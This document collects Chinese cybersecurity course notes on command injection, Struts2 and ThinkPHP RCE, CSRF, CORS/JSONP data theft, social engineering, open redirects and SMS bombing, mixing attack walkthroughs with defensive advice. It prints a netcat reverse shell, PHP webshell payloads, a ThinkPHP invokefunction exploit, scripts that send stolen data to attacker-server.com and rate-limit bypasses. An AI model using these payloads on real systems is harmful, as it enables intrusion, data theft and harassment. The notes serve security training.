  • Payload示例：invalid_ip || whoami

🛡️ 漏洞防御策略分析

我们通过四个逐步加强的代码例子，来分析不同的防御策略及其优劣。

案例一：无任何过滤

  • 情况：直接拼接用户输入，存在严重漏洞。
  • 防御：无。

案例二：黑名单过滤（不完整）

  • 情况：使用str_replace()过滤了&和;字符。
  • 漏洞：黑名单不完整，可被绕过。例如，输入127.0.0.1 &;& whoami，过滤掉中间的;后，剩下的&&仍可执行命令。
  • 防御建议：黑名单策略存在固有缺陷，难以覆盖所有危险字符。

案例三：严格黑名单过滤

  • 情况：过滤了更多字符，如|、&、;、|、>等。
  • 漏洞：仍然可能被未收录的冷门连接符或编码方式绕过。
  • 防御建议：比案例二更安全，但并非万无一失。

案例四：白名单验证（推荐）

  • 情况：对输入进行严格校验。先将IP地址按.分割，然后检查每一段是否为合法的整数（IP段），最后再拼接执行。
  • 代码逻辑：
    1. $ip = stripslashes($_POST[‘ip’]); // 去除转义
    2. $ip_array = explode(‘.’, $ip); // 按点分割
    3. 循环检查$ip_array中每个元素是否为整数（is_numeric）。
    4. 全部合法后，再拼接成IP进行ping操作。
  • 防御效果：由于攻击Payload（如127.0.0.1;whoami）被分割后，whoami部分无法通过整数验证，因此会被拦截。这是针对特定功能点最有效的防御方式之一。

⚔️ 进阶利用：获取Shell与写入WebShell

在确认存在命令执行漏洞后，攻击者通常会尝试获取一个交互式Shell或写入WebShell以维持访问。

1. 反弹Shell

  • 使用 nc (Netcat)：
    • 攻击机监听：nc -lvnp 4444
    • 在漏洞点执行：127.0.0.1; nc -e /bin/sh 攻击机IP 4444
    • 这样，攻击机就能获得目标服务器的一个Shell。
  • 使用 bash 或 python 等：存在多种命令可以直接反弹Shell。

2. 写入WebShell

  • 直接使用echo命令写入一句话木马。
    • Payload示例：; echo ‘<?php @eval($_POST[“cmd”]);?>’ > shell.php
  • 如果存在字符过滤（如过滤分号;），可以构造无分号的一句话木马，或使用编码、拼接等方式绕过。

🛡️ 综合防护建议

  1. 禁用高危函数：在PHP配置文件（php.ini）中，使用disable_functions指令禁用不必要的危险函数。

    disable_functions = exec,system,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert

  2. 严格过滤输入：根据业务场景，优先使用白名单验证。如果必须使用黑名单，务必确保名单的完整性，并考虑递归过滤。

  3. 使用安全函数：如果必须执行外部命令，使用escapeshellarg()或escapeshellcmd()函数对参数进行转义。

    $clean_ip = escapeshellarg($_POST['ip']);
system("ping -c 3 " . $clean_ip);

  4. 降低权限：运行Web服务的用户（如www-data、apache）应使用最低必要权限，避免使用root账户。

  5. 开启安全模式（旧版PHP）：对于老版本环境，可考虑open_basedir等限制，但现代防护中更强调前几点。

📝 本节课总结

本节课我们一起深入学习了命令执行漏洞的利用与防御。

  • 我们回顾了漏洞原理，区分了代码执行与命令执行。
  • 我们通过实例详细讲解了如何利用管道符、分号等特殊字符构造攻击Payload。
  • 我们分析了从“无过滤”到“白名单验证”四种不同防御代码的优劣，明确了白名单验证是针对特定功能的最佳实践。
  • 我们了解了攻击者如何通过漏洞反弹Shell或写入WebShell，并学习了综合性的防护建议，包括禁用函数、严格输入过滤和使用转义函数。

理解这些攻击手法和防御原理，对于开发安全的应用程序和进行有效的安全测试都至关重要。

课程P24：第22天 - 命令执行漏洞考核讲解 🎯

在本节课中，我们将对之前布置的命令执行漏洞相关考核作业进行讲解。课程将涵盖多个实验的核心操作步骤、利用原理以及常见问题的解决方法，旨在帮助大家巩固命令执行漏洞的知识点。

实验回顾与总体说明

上一节我们介绍了命令执行漏洞的基本原理和常见函数。本节中，我们来看看布置的几个实验作业，并对其中的关键操作和问题进行讲解。

对照实验指导书进行操作，应该没有太大问题。实验涉及的RCE代码片段原理是相通的。

唯一需要注意的不同点是扩展利用方式。例如，当分号等字符被过滤时，如何通过命令执行写入一句话木马。

实验一：Struts2框架漏洞利用 🚀

本实验利用Apache Struts2框架的历史漏洞进行命令执行。

环境部署步骤

以下是部署漏洞环境的基本流程，这是进行Web安全研究的必备技能。

  1. 从指导书提供的链接下载漏洞环境War包。
  2. 启动Tomcat服务器（默认端口8080）。
  3. 将下载的War包解压，将其中的应用程序文件放置到Tomcat的Web根目录（通常是 webapps 文件夹下）。
  4. 访问对应的URL路径，例如 http://靶机IP:8080/struts2-showcase/。

注意：访问时若URL路径末尾多了一个“/”，可能导致点击页面功能（如Edit）时路径错误，需手动修正。

漏洞利用过程

本实验通过上传一个特制的JSP Webshell（POC）来执行系统命令。

  • POC核心：POC是一个JSP脚本，其中包含执行系统命令的Java代码。对于初学者，无需深究Java语法，重点理解其执行命令的部分。
  • 命令执行：POC中类似 Runtime.getRuntime().exec("calc"); 的代码会调用系统计算器。我们可以将其中的命令替换为其他系统指令，如 ipconfig。
  • 利用方法：使用Burp Suite等工具拦截请求，将POC代码作为数据包发送到目标服务器。若执行成功，则会弹出计算器或执行相应命令。

实验二：ImageMagick组件漏洞 💥

本实验针对ImageMagick图像处理库存在的命令执行漏洞。

当通过其他方式获取Webshell后，如果发现服务器使用了存在漏洞版本的ImageMagick组件，并且系统函数（如system）执行受限，可以尝试利用此漏洞进行深度利用。

具体操作步骤请参照实验指导书。

实验三：ThinkPHP5 RCE漏洞 🔓

本实验复现ThinkPHP 5.x 版本的远程命令执行漏洞。该漏洞影响广泛，可通过简单构造Payload直接执行系统命令并获取Webshell。

漏洞验证与利用

我们以一台部署了ThinkPHP 5.0.24的靶机进行演示。

1. 漏洞检测
使用现有POC进行测试。在URL后附加以下参数：

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

执行后，页面返回当前系统用户（如apache），证明漏洞存在。

2. 原理浅析
该Payload利用了框架的动态调用函数。核心是 call_user_func_array 函数。

call_user_func_array($function, $param_arr);

该函数将第一个参数作为回调函数调用，第二个参数数组作为回调函数的参数传入。在上述Payload中，相当于执行了：

system('whoami');

3. 写入Webshell
通过漏洞写入一句话木马。使用以下Payload：

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[‘c‘]);?>
  • file_put_contents 函数用于将内容写入文件。
  • 此Payload会将PHP代码 <?php @eval($_POST[‘c‘]);?> 写入网站根目录下的 shell.php 文件。
  • 访问 http://靶机IP/shell.php，使用密码 c 即可连接Webshell。

重要细节区分

  • 分号问题：使用 eval() 等执行PHP代码时，传入的字符串必须是完整的PHP代码，需要以分号结尾。
  • 断言函数：使用 assert() 函数时，它将其参数作为PHP代码执行，但该参数本身是一个字符串。因此，直接传递 phpinfo() 可以执行，传递 phpinfo();（带分号）同样可以执行，因为它会被当作字符串内容处理。

进阶技巧与问题解答 🛠️

本节我们补充一个上节课未详细说明的过滤绕过技巧，并解答一些常见问题。

绕过大小写转换过滤

考虑以下代码场景：

$data = $_GET[‘d‘];
$data = strtoupper($data); // 将输入转换为大写
preg_replace(‘/.*/e‘, $data, ‘‘);

代码将用户输入转换为大写后，再传入 preg_replace 的 /e 模式执行。这会导致 phpinfo() 变成 PHPINFO() 而无法识别。

绕过方法：利用PHP双引号字符串的特性。

  • 在双引号字符串中，如果包含变量，PHP解释器会先将其替换为变量值。
  • 在单引号字符串中，则不会处理。

因此，可以构造Payload：“{${phpinfo()}}”。PHP会先解析变量 {${phpinfo()}}，即执行 phpinfo() 函数，然后将执行结果（空）代入字符串。这样，最终传递给 preg_replace 的是已执行过的结果，绕过了大写转换。

常见问题汇总

以下是针对同学们提出的问题的解答：

  1. 指纹识别：识别网站是否使用ThinkPHP等框架，可使用工具如 WhatWeb，或观察URL特征（如包含 public、index.php 等典型路径）。
  2. 工具使用：nc (Netcat) 是反弹Shell的常用工具。使用时需注意Windows与Linux版本差异，以及是否支持 -e 参数。
  3. 学习建议：实践时多做笔记，记录操作步骤、遇到的问题和解决方案。尝试发散思维，不仅执行命令，更要思考如何最终获得稳定Shell（如写入Webshell、建立反向连接等）。

课程总结 📚

本节课我们一起学习了多个命令执行漏洞实验的考核要点：

  1. 回顾了Struts2、ImageMagick、ThinkPHP等常见组件的RCE漏洞利用方法。
  2. 深入分析了ThinkPHP5 RCE漏洞的Payload构造原理，理解了 call_user_func_array 等函数在漏洞利用中的作用。
  3. 掌握了通过双引号字符串解析绕过大小写过滤等进阶技巧。
  4. 强调了动手实践、记录笔记和发散思维在安全学习中的重要性。

命令执行漏洞的核心在于理解“用户输入如何被作为系统命令或代码执行”。希望大家通过本次考核练习，能更牢固地掌握相关技能，并养成独立研究和解决问题的习惯。

网络安全课程 P25：第23天 - CSRF漏洞基础与防御 🛡️

在本节课中，我们将学习跨站请求伪造（CSRF）漏洞的基础知识、利用方式以及如何寻找和防御此类漏洞。CSRF是一种攻击者诱使已登录用户在不知情的情况下执行非本意操作的攻击方法。

CSRF漏洞简介 🔍

上一节我们概述了课程内容，本节中我们来详细看看CSRF漏洞是什么。

CSRF全称为跨站请求伪造。它需要与跨站脚本攻击（XSS）区分开来。CSRF攻击的本质是挟持用户在当前已登录的Web应用程序上，执行非本意操作的一种攻击方法。

CSRF漏洞成因 📝

理解了CSRF的概念后，我们来看看它是如何产生的。

CSRF漏洞的产生通常基于以下条件：

  • 网站的Cookie在浏览器中不会过期。只要不关闭浏览器或主动退出，访问该网站时都会默认处于登录状态。
  • 攻击者可以构造一个恶意的CSRF脚本或链接。
  • 用户在保持登录状态的情况下，访问或点击了该恶意内容，从而被动执行了攻击者设定的操作。

CSRF攻击演示 🎬

了解了成因，我们通过一个实验来直观感受CSRF攻击是如何发生的。

实验模拟了一个具有留言功能的页面。用户登录后，可以添加留言。正常的添加留言请求如下所示：

GET /add_comment?title=tt123&content=123 HTTP/1.1

攻击者可以构造一个恶意的HTML页面，其中包含一个自动发起请求的标签：

<img src="http://target-site/add_comment?title=恶意标题&content=恶意内容" />

当已登录的用户访问这个恶意页面时，浏览器会自动加载图片，从而向目标网站发送添加留言的请求。由于用户的Cookie有效，该请求会被服务器成功执行，导致用户“被留言”。

CSRF攻击模型 🔄

通过演示我们看到了攻击过程，现在用一个标准模型来梳理整个攻击链。

CSRF攻击模型通常包含以下步骤：

  1. 用户登录可信网站A，并在浏览器中生成认证Cookie。
  2. 用户在未退出网站A的情况下，访问了恶意网站B。
  3. 网站B的页面中包含向网站A发起请求的代码。
  4. 浏览器在发起请求时会自动携带网站A的Cookie。
  5. 网站A的服务器接收到带有合法Cookie的请求，并执行相应操作，而用户对此毫不知情。

这种攻击的危害不仅限于留言。如果用户是管理员或拥有高权限账户，攻击者可能利用CSRF进行注销账号、修改密码、绑定手机号、转账等危险操作。

CSRF漏洞利用 🛠️

明白了攻击模型，本节我们来看看如何具体构造CSRF攻击载荷。

CSRF攻击根据请求方法的不同，主要分为GET型和POST型。

GET型CSRF利用
GET请求的参数直接附加在URL中。例如，一个修改密码的GET请求可能如下：

GET /change_password?new_password=admin123 HTTP/1.1

攻击者可以构造一个HTML标签（如<img>、<iframe>）来发起这个请求：

<img src="http://target-site/change_password?new_password=hacker123" />

POST型CSRF利用
POST请求的参数在请求体中。例如，一个修改学号的POST请求。攻击者需要构造一个自动提交的表单：

<form action="http://target-site/update_info" method="POST">
    <input type="hidden" name="student_id" value="666" />
</form>
<script>document.forms[0].submit();</script>

在实际渗透测试中，可以使用Burp Suite等工具自动生成CSRF攻击验证代码（PoC）。在捕获到目标请求包后，右键选择 “Engagement tools” -> “Generate CSRF PoC”，工具会自动生成对应的HTML代码。

如何寻找CSRF漏洞 🔎

学会了利用方法，接下来我们学习如何发现这类漏洞。

寻找CSRF漏洞的核心是分析应用程序的请求数据包，判断其是否可被伪造。关键在于检查请求中是否包含不可预测的、用于防御CSRF的令牌。

以下是寻找漏洞时需要重点关注的参数和请求头：

  • Token/CSRF Token：这是最常见的防御手段。服务器会生成一个随机令牌（Token），并随表单下发或存储在会话中。提交请求时必须携带此Token，且Token对每个用户或每次会话是唯一的。如果请求中缺少或Token错误，请求将被拒绝。
  • Referer头：服务器可能会检查HTTP请求头中的Referer字段，判断请求是否来源于本站点。如果Referer头被篡改或缺失，请求可能被阻止。
  • 自定义Header：有些应用会使用自定义的HTTP头来验证请求来源。

漏洞判断方法：
在测试时，尝试修改或删除数据包中的Token、Referer等关键字段。如果请求依然能够成功执行，则说明存在CSRF漏洞。因为攻击者可以轻易地构造一个不包含这些字段的请求。

课后总结与作业 📚

本节课我们一起学习了CSRF漏洞的原理、利用方式以及挖掘方法。

核心要点总结：

  1. CSRF是诱使已登录用户执行非本意操作的攻击。
  2. 攻击成功的前提是用户已登录且会话有效。
  3. 漏洞利用分为GET型和POST型，可借助工具生成PoC。
  4. 寻找漏洞的关键是分析请求包，检查是否存在可预测的参数和有效的Token等防护措施。

课后作业：

  1. 实践练习：尝试对JSON格式请求体的接口进行CSRF漏洞测试（提示：这与普通表单提交有所不同）。
  2. 综合挑战：针对提供的某CMS后台的“添加管理员账号”功能（已知存在CSRF漏洞），设计一份完整的“攻击方案”。方案需包含如何通过社会工程学手段（如欺骗、诱导）让目标（例如讲师）点击你构造的CSRF链接。请将你的思路和步骤写在文档中。

注：本教程根据提供的视频内容整理，保留了原话的核心含义，并进行了结构化与简化处理，以符合教程格式要求。

网络安全就业推荐 - 第26课：CSRF漏洞-CORS跨域漏洞及JSONP漏洞利用 🔓

在本节课中，我们将要学习两种特殊的跨站请求伪造（CSRF）漏洞：CORS跨域漏洞和JSONP漏洞。这两种漏洞属于“读取型”CSRF，攻击者可以利用它们窃取用户的敏感数据，而不仅仅是执行操作。我们将了解它们的原理、如何寻找以及如何利用。

概述：同源策略与跨域解决方案

上一节我们介绍了操作型CSRF，本节中我们来看看读取型CSRF。要理解CORS和JSONP漏洞，首先需要了解浏览器的同源策略。

同源策略是浏览器的核心安全策略之一。它规定，来自不同源（协议、域名、端口任一不同）的脚本，在没有明确授权的情况下，不能读取对方的资源。这限制了不同源之间的数据交互，旨在保护用户信息安全。

然而，在现代Web开发中，前后端分离的架构非常普遍，经常需要从一个域名的网页去请求另一个域名的API接口数据，这就产生了跨域需求。

为了解决跨域问题，开发者采用了多种技术，其中最常见的是：

  • CORS：跨域资源共享
  • JSONP：JSON with Padding

这两种技术本意是解决合法跨域通信的问题，但如果配置不当，就会演变为安全漏洞，允许攻击者跨域读取用户的敏感数据。

CORS跨域漏洞

CORS是一种W3C标准，它允许服务器通过设置特定的HTTP响应头，来声明哪些源可以访问其资源。

漏洞原理

CORS漏洞的成因在于服务器配置了过于宽松的跨域策略。具体来说，当服务器在响应头中设置 Access-Control-Allow-Origin 字段的值为 *（允许所有源）或动态反射了请求头中的 Origin 值时，就可能导致漏洞。

以下是CORS交互的关键步骤：

  1. 浏览器在发起跨域请求时，会自动在请求头中添加 Origin 字段，表明请求来自哪个源。
  2. 服务器检查 Origin 值，如果允许该源访问，则在响应头中返回 Access-Control-Allow-Origin: [Origin值]。
  3. 浏览器检查响应头，如果 Access-Control-Allow-Origin 的值与当前页面的源匹配（或是*），则允许页面读取响应数据；否则，浏览器会阻止脚本访问响应内容。

漏洞点：如果服务器将 Access-Control-Allow-Origin 设置为 *，或未经验证就直接将请求中的 Origin 值反射到响应头中，那么任何网站都可以通过脚本读取该接口返回的数据。

如何寻找CORS漏洞

寻找CORS漏洞，主要就是检查目标接口的响应头。

以下是判断步骤：

  1. 使用浏览器开发者工具或Burp Suite抓取目标网站的请求。
  2. 观察响应头中是否包含 Access-Control-Allow-Origin 字段。
  3. 尝试修改请求头中的 Origin 值为一个任意值（如 https://attacker.com）。
  4. 如果响应头中的 Access-Control-Allow-Origin 值也随之变成了 https://attacker.com，或者本身就是 *，则存在CORS配置不当的漏洞。

漏洞利用

存在CORS漏洞意味着攻击者可以构造一个恶意页面，当受害者（已登录目标网站）访问该页面时，恶意脚本就能跨域读取到目标网站接口返回的敏感数据（如个人信息、收货地址等），并发送到攻击者控制的服务器。

以下是利用代码的核心逻辑：

<script>
    // 定义要攻击的接口URL
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://vulnerable-site.com/api/userinfo',true);
    req.withCredentials = true; // 携带Cookie
    req.send();

    function reqListener() {
        // 将窃取到的数据发送到攻击者的服务器
        var data = this.responseText;
        fetch('https://attacker-server.com/steal?data=' + encodeURIComponent(data));
    };
</script>

攻击者只需将包含此类代码的页面发送给受害者，即可窃取数据。

JSONP漏洞

JSONP是一种利用 <script> 标签不受同源策略限制的特性来实现跨域数据获取的古老技术。

漏洞原理

由于 <script src="..."> 可以加载任意域下的JS文件，JSONP利用这一点来获取数据。服务器返回的不是纯JSON，而是一段JavaScript函数调用代码，函数名由客户端通过 callback 参数指定。

一个正常的JSONP请求与响应如下：

  • 请求：https://api.example.com/userinfo?callback=handleData
  • 响应：handleData({"name": "Alice", "email": "alice@example.com"});

前端页面预先定义好 handleData 函数，当 <script> 标签加载完响应后，就会执行这个函数，从而处理数据。

漏洞点：如果JSONP接口对 callback 参数没有进行严格的过滤和校验，攻击者就可以构造恶意页面，指定 callback 为攻击者控制的函数，从而窃取数据。

如何寻找JSONP漏洞

寻找JSONP漏洞，主要是寻找带有 callback（或类似名称，如 cb, jsonp）参数的接口。

以下是判断步骤：

  1. 在网站中寻找返回JSON格式数据的接口。
  2. 尝试在请求参数中添加 callback=test 或 jsonp=test。
  3. 如果响应内容从 {"data": "value"} 变成了 test({"data": "value"}); 或类似的JavaScript函数调用格式，则说明该接口支持JSONP。
  4. 进一步测试，修改 callback 值为任意值，观察响应是否动态变化。如果变化，则存在JSONP漏洞。

漏洞利用

攻击者可以构造一个恶意页面，通过 <script> 标签调用存在漏洞的JSONP接口，并定义一个函数来接收敏感数据，然后将其外发。

以下是利用代码示例：

<script>
// 定义接收数据的函数
function stealData(data) {
    // 将窃取到的数据发送到攻击者的服务器
    var img = new Image();
    img.src = 'https://attacker-server.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
}
</script>
<!-- 利用 script 标签跨域请求，并指定回调函数为 stealData -->
<script src="https://vulnerable-site.com/api/userinfo?callback=stealData"></script>

防御建议

了解了攻击原理，我们可以采取以下措施进行防御：

针对CORS漏洞：

  • 避免使用 Access-Control-Allow-Origin: *。应在服务器端配置明确允许访问的白名单域名列表。
  • 不要简单地反射请求中的 Origin 头。应对 Origin 值进行严格的校验，只允许受信任的源。
  • 对于需要携带凭证（Cookies）的请求，应同时设置 Access-Control-Allow-Credentials: true 并严格限制 Access-Control-Allow-Origin 不能为 *。

针对JSONP漏洞：

  • 严格过滤 callback 参数，只允许包含字母、数字和下划线的合法函数名。
  • 在响应头中设置 Content-Type: application/javascript，并添加严格的字符集。
  • 考虑弃用JSONP，转而使用更安全、功能更强大的CORS机制来实现跨域。

总结

本节课中我们一起学习了两种读取型的CSRF漏洞：CORS跨域漏洞和JSONP漏洞。

  • CORS漏洞源于服务器跨域策略配置过于宽松，允许任意源或未经验证的源访问敏感接口。
  • JSONP漏洞源于对 callback 参数校验不严，导致攻击者可以控制响应内容的执行。

它们的共同点是允许攻击者构造恶意页面，诱骗已登录的用户访问，从而跨域窃取该用户在目标网站上的敏感数据。在漏洞挖掘中，需要重点关注返回用户个人信息的接口是否存在此类配置问题。防御的关键在于对跨域请求的来源进行严格、明确的限制。

网络安全就业推荐 - 课程27：第25天：CSRF漏洞扩大影响 🎯

在本节课中，我们将要学习CSRF漏洞的进阶利用方式，并引入社会工程学的基本概念，以理解如何将技术漏洞与心理战术结合，从而扩大攻击的影响范围。

社会工程学简介 🎭

上一节我们介绍了CSRF漏洞的基本利用。本节中我们来看看如何通过社会工程学来辅助攻击。

社会工程学的核心是通过合法的交流影响他人心理，使其做出特定动作或透露机密信息。这通常被视为一种欺诈行为，目的是收集信息或入侵计算机系统。简单来说，就是进行欺骗。

以下是社会工程学的一些常见例子：

  • 经典诈骗案例：例如2016年的知名诈骗案。攻击者通过入侵招生信息平台获取了大量个人信息，利用这些详细信息使受害者相信其身份，从而成功实施诈骗。这提醒我们提升自身安全意识的重要性。
  • 钓鱼邮件：这是目前渗透测试中最有效的攻击方式之一。攻击者伪装成可信来源（如公司IT部门），发送包含恶意链接（如CSRF攻击页面）的邮件，诱使收件人点击。
  • 钓鱼页面：攻击者利用可信域名（如腾讯问卷）创建虚假的钓鱼页面。由于域名本身可信，受害者更容易放松警惕，从而提交敏感信息。

社会工程学在渗透测试中的一个重要作用是信息收集。通过伪装、沟通等手段，可以获取目标系统的相关信息，为后续的技术攻击铺平道路。

信息收集与密码生成 🔍

在信息收集中，获取目标的个人信息（如QQ号、邮箱）后，可以利用这些信息生成潜在的密码字典。

以下是利用已知信息生成密码字典的思路：

  • 通过目标QQ号，在社工库中查询其历史密码、关联的群组关系等信息。
  • 利用工具或网站（如ig007）查询该手机号或邮箱注册过的平台。
  • 结合获取的常用密码、个人信息（生日、用户名等），使用工具生成针对性的密码字典。例如，使用GitHub上的社工字典生成脚本，输入已知信息，可以生成大量可能的密码组合。

代码示例（概念性）：

# 这是一个简化的密码生成逻辑示例
username = "target_user"
birth_year = "1990"
common_words = ["password", "123456", "qwerty"]

generated_passwords = []
for word in common_words:
    generated_passwords.append(username + word)
    generated_passwords.append(word + birth_year)
# 可以生成更多组合...

CSRF漏洞的扩大利用 💥

我们了解了社会工程学后，现在回到CSRF漏洞本身，探讨如何扩大其影响。

首先需要明确一个关键点：如果一个网站存在CSRF漏洞，通常整个站点都会受到影响。修复时也是全局修复。因此，在利用CSRF时，应尽量针对敏感操作。

以下是扩大CSRF影响的思路：

  1. 针对敏感操作：不要满足于简单的添加或修改操作。应寻找如删除账号、更换绑定手机号、修改密码、转账等敏感功能点进行利用。
  2. 组合漏洞利用：CSRF可以与其他漏洞结合，产生更严重的后果。例如，后台的CSRF漏洞可能用于执行系统命令，从而获取服务器权限（Get Shell）。
    • 示例：在某个CMS后台，存在一个通过请求参数执行命令的功能。攻击者可以构造一个恶意URL，诱使已登录的管理员访问，从而在服务器上执行任意命令。
    • 构造的恶意URL可能类似：http://target.com/admin/command.php?cmd=wget+http://attacker.com/shell.php+-O+/var/www/html/shell.php
  3. 漏洞奖金最大化：在漏洞挖掘和报告时，深入利用漏洞链可以获得更高的奖励。例如，一个单独的XSS漏洞可能奖励300元，一个单独的CSRF漏洞奖励50元。但如果将两者结合，实现自动触发的账户劫持，奖励可能跃升至5000元。这体现了深入利用漏洞的价值。

实战思路：结合分享功能进行CSRF攻击 🎣

让我们看一个结合社交平台分享功能进行CSRF攻击的潜在思路。

许多网站（如视频站、新闻站）都有“分享到QQ空间/微博”的功能。在分享过程中，浏览器会向社交平台发送一个请求，其中包含被分享页面的标题、描述和链接（URL）。

攻击思路：

  1. 攻击者找到一个存在CSRF漏洞的敏感功能点（例如http://vuln-site.com/change_email.php?new_email=attacker@evil.com）。
  2. 攻击者准备一个吸引人的图片或标题，并利用社交平台的分享功能。
  3. 在抓取分享请求的数据包时，尝试修改其中的link（链接）参数，将其替换为上述构造好的CSRF攻击URL。
  4. 如果社交平台没有对分享的链接进行严格校验，那么当受害者在社交平台看到这条分享并点击时，如果其浏览器恰好已登录目标网站（vuln-site.com），就会自动执行修改邮箱的操作。

关键点：这种攻击利用了用户对社交平台内容的信任，以及浏览器会自动携带Cookie发起请求的机制。

总结 📚

本节课中我们一起学习了以下内容：

  1. 社会工程学：一种通过心理操纵获取信息或访问权限的非技术手段，常与技术漏洞结合使用。
  2. 信息收集与密码生成：如何利用社工库和已知信息，生成针对性密码字典，为后续攻击做准备。
  3. CSRF漏洞的扩大利用：强调了应针对敏感操作进行利用，并展示了如何通过组合漏洞（如CSRF+命令执行）实现更严重的攻击效果（如Get Shell）。
  4. 实战思路：探讨了结合社交平台分享功能，诱使用户触发CSRF攻击的潜在方法。

核心要点是：在网络安全测试中，发现一个基础漏洞（如CSRF）只是开始。更重要的是思考如何深入利用、扩大影响以及如何与其他漏洞或技术（如社会工程学）组合利用，这不仅能提升技术水平，在实际的漏洞挖掘中也往往能获得更高的评价与回报。请始终牢记，学习这些知识是为了提升防御能力，所有测试应在合法授权范围内进行。

网络安全课程 P28：第26天 - 逻辑漏洞：短信轰炸与URL跳转漏洞 🔍

在本节课中，我们将学习两种常见的逻辑漏洞：URL跳转漏洞和短信轰炸漏洞。我们将了解它们的基本概念、产生原因、危害以及在实际渗透测试中的挖掘思路和绕过方法。课程内容力求简单直白，适合初学者理解。

什么是逻辑漏洞？ 🤔

上一节我们介绍了课程概述，本节中我们来看看什么是逻辑漏洞。

逻辑漏洞是由于程序员在编写程序时，基于人的逻辑思维产生的设计缺陷。它与传统漏洞不同，攻击者通过合法的方式达到破坏目的。例如，在密码找回或用户登录验证中，一个四位数的验证码在逻辑上是正常的，但程序没有考虑到这四位验证码可以被暴力破解。这就是程序设计不足导致的问题。

这类漏洞的防护手段通常难以通过安全设备或扫描器发现，因为攻击利用的是正常功能。因此，在SRC（安全应急响应中心）漏洞挖掘中，逻辑漏洞占据了很大比例。据统计，逻辑漏洞约占SRC高危漏洞的30%到40%。

逻辑漏洞产生的原因主要是程序员的逻辑不严密，或者业务流程过于复杂。一个网站的功能点越多，存在逻辑漏洞的可能性就越大。例如，像淘宝、京东这类大型复杂平台，曾经存在大量逻辑漏洞，但经过白帽子多年的挖掘，现已大幅减少。

一个经典的逻辑漏洞例子是四位验证码的爆破。在某些网站的重置密码功能中，仅使用四位数验证码且未做爆破防护，导致攻击者可以重置任意用户的密码。

在挖掘逻辑漏洞时，熟练使用Burp Suite（BP）并保持清晰的思路至关重要。很多时候，只需分析BP捕获的数据包就能发现逻辑漏洞。此外，需要具备灵活的思路，例如，当尝试修改请求包中所有常见参数都失败时，可以观察返回包。有时返回包是JSON格式，其中可能包含未在请求参数中出现的字段（如username, squ_no, phone等）。尝试将这些字段添加到修改请求中，可能会绕过限制，实现未授权的数据修改或信息泄露。

URL跳转漏洞 🔗

上一节我们介绍了逻辑漏洞的基本概念，本节中我们来看看URL跳转漏洞。

URL跳转漏洞，也称为开放重定向漏洞。其核心是应用程序将用户重定向到攻击者构造的恶意页面。

公式表示漏洞本质：
用户访问的URL -> 应用程序处理 -> 重定向到攻击者控制的URL

它的产生原因是程序没有对用于跳转的URL参数进行严格的检查和控制。攻击者可以构造恶意的跳转地址，诱导用户访问。

例如，在一个网站的登录页面，正常流程是认证后跳转回网站首页（如www.jd.com）。但如果跳转目标URL参数（例如redirect_url）可控，攻击者可以将其修改为www.evil.com。当用户点击攻击者生成的链接时，就会从信任的网站跳转到恶意网站。

URL跳转漏洞的危害主要包括：

  1. 钓鱼攻击：跳转到伪造的登录页面，窃取用户凭证。
  2. 配合CSRF：在跳转后的页面中嵌入CSRF攻击代码。
  3. 配合XSS：跳转的URL中包含XSS攻击向量。
  4. 配合浏览器漏洞：跳转到包含利用特定浏览器漏洞（如CVE-2018-8174）代码的页面，可能导致远程代码执行。

以下是寻找URL跳转漏洞的常见场景：

  • 登录、注册、注销后的跳转。
  • 用户分享内容或收藏后的跳转链接。
  • 业务办理成功或失败后的跳转。
  • 修改密码、绑定手机等操作完成后的跳转。
  • 第三方登录授权后的回调地址。

在测试时，应重点关注HTTP响应状态码为302或301的请求，并观察请求参数中是否包含url、redirect、return、to、link等关键字。将参数值替换为自己的域名（如http://your-evil-site.com）进行测试。

当遇到服务端对跳转域名进行过滤时，可以尝试以下绕过方法：

  • 利用@符号：http://trusted-site.com@evil.com。部分浏览器会解析@前的内容为认证信息，实际访问evil.com。
  • 利用子域名：http://trusted-site.evil.com。如果过滤规则只检查主域名包含trusted-site，此格式可能绕过。
  • 利用IP地址编码：将IP地址转换为十进制、八进制或十六进制格式。例如，127.0.0.1的十进制表示为2130706433，访问http://2130706433可能跳转到本地。
  • 利用//多级目录：http://trusted-site.com//evil.com。
  • 利用?或#：http://trusted-site.com/redirect?url=evil.com 或 http://trusted-site.com/redirect#evil.com。

短信/邮箱轰炸漏洞 💣

上一节我们探讨了URL跳转漏洞，本节中我们来分析短信/邮箱轰炸漏洞。

短信/邮箱轰炸漏洞是指攻击者能够利用网站发送验证码或通知的功能，在短时间内向同一手机号或邮箱地址无限制地发送大量信息，造成骚扰和资源消耗。

漏洞产生的核心场景：所有需要发送短信或邮箱验证码的功能点，例如用户注册、登录、密码找回、修改绑定手机/邮箱、支付验证等。

其原理是服务端未对发送频率、总量或接收方做有效限制。攻击者只需拦截发送验证码的请求包，并利用工具（如Burp Suite的Intruder模块）进行重放攻击即可。

一个简单的例子是拦截“忘记密码”功能中获取手机验证码的请求，然后将该请求在Intruder中重放数千次，导致目标手机被轰炸。

以下是几种常见的绕过限制（Bypass）的思路：

  1. 添加无关字符：在手机号参数后添加空格（URL编码为%20）、换行符或其他特殊字符。如果后端只做简单的字符串匹配或前11位校验，13800138000和13800138000%20会被视为两个不同的号码。
    • 代码示例（Burp Suite 修改请求）:
      POST /send_sms HTTP/1.1
phone=13800138000%20  // 第一次发送
phone=13800138000%20%20 // 第二次发送（两个空格）
  2. 参数污染：在请求中重复添加手机号参数，例如phone=13800138000&phone=13900139000。如果后端处理不当，可能会解析出多个号码并逐一发送。
  3. 调用不同业务接口：网站可能有多个功能都需要发短信（如注册type=1、登录type=2、改密type=3）。攻击者可以固定手机号，遍历type参数，利用不同业务的接口进行轰炸。
  4. 修改Cookie或Session：在已登录状态下，某些操作发短信前会验证会话。尝试删除或修改Cookie，使服务器认为这是来自新会话的请求，从而绕过频率限制。
  5. 修改请求返回值：这是一种高级技巧。拦截服务器返回的“发送成功”或“发送过于频繁”的响应包，将其替换为“发送成功”的响应内容，从而欺骗前端或绕过客户端的限制判断。
  6. 大小写绕过（针对邮箱）：对于邮箱轰炸，test@example.com和Test@example.com可能被系统视为不同邮箱，从而绕过针对同一地址的限制。
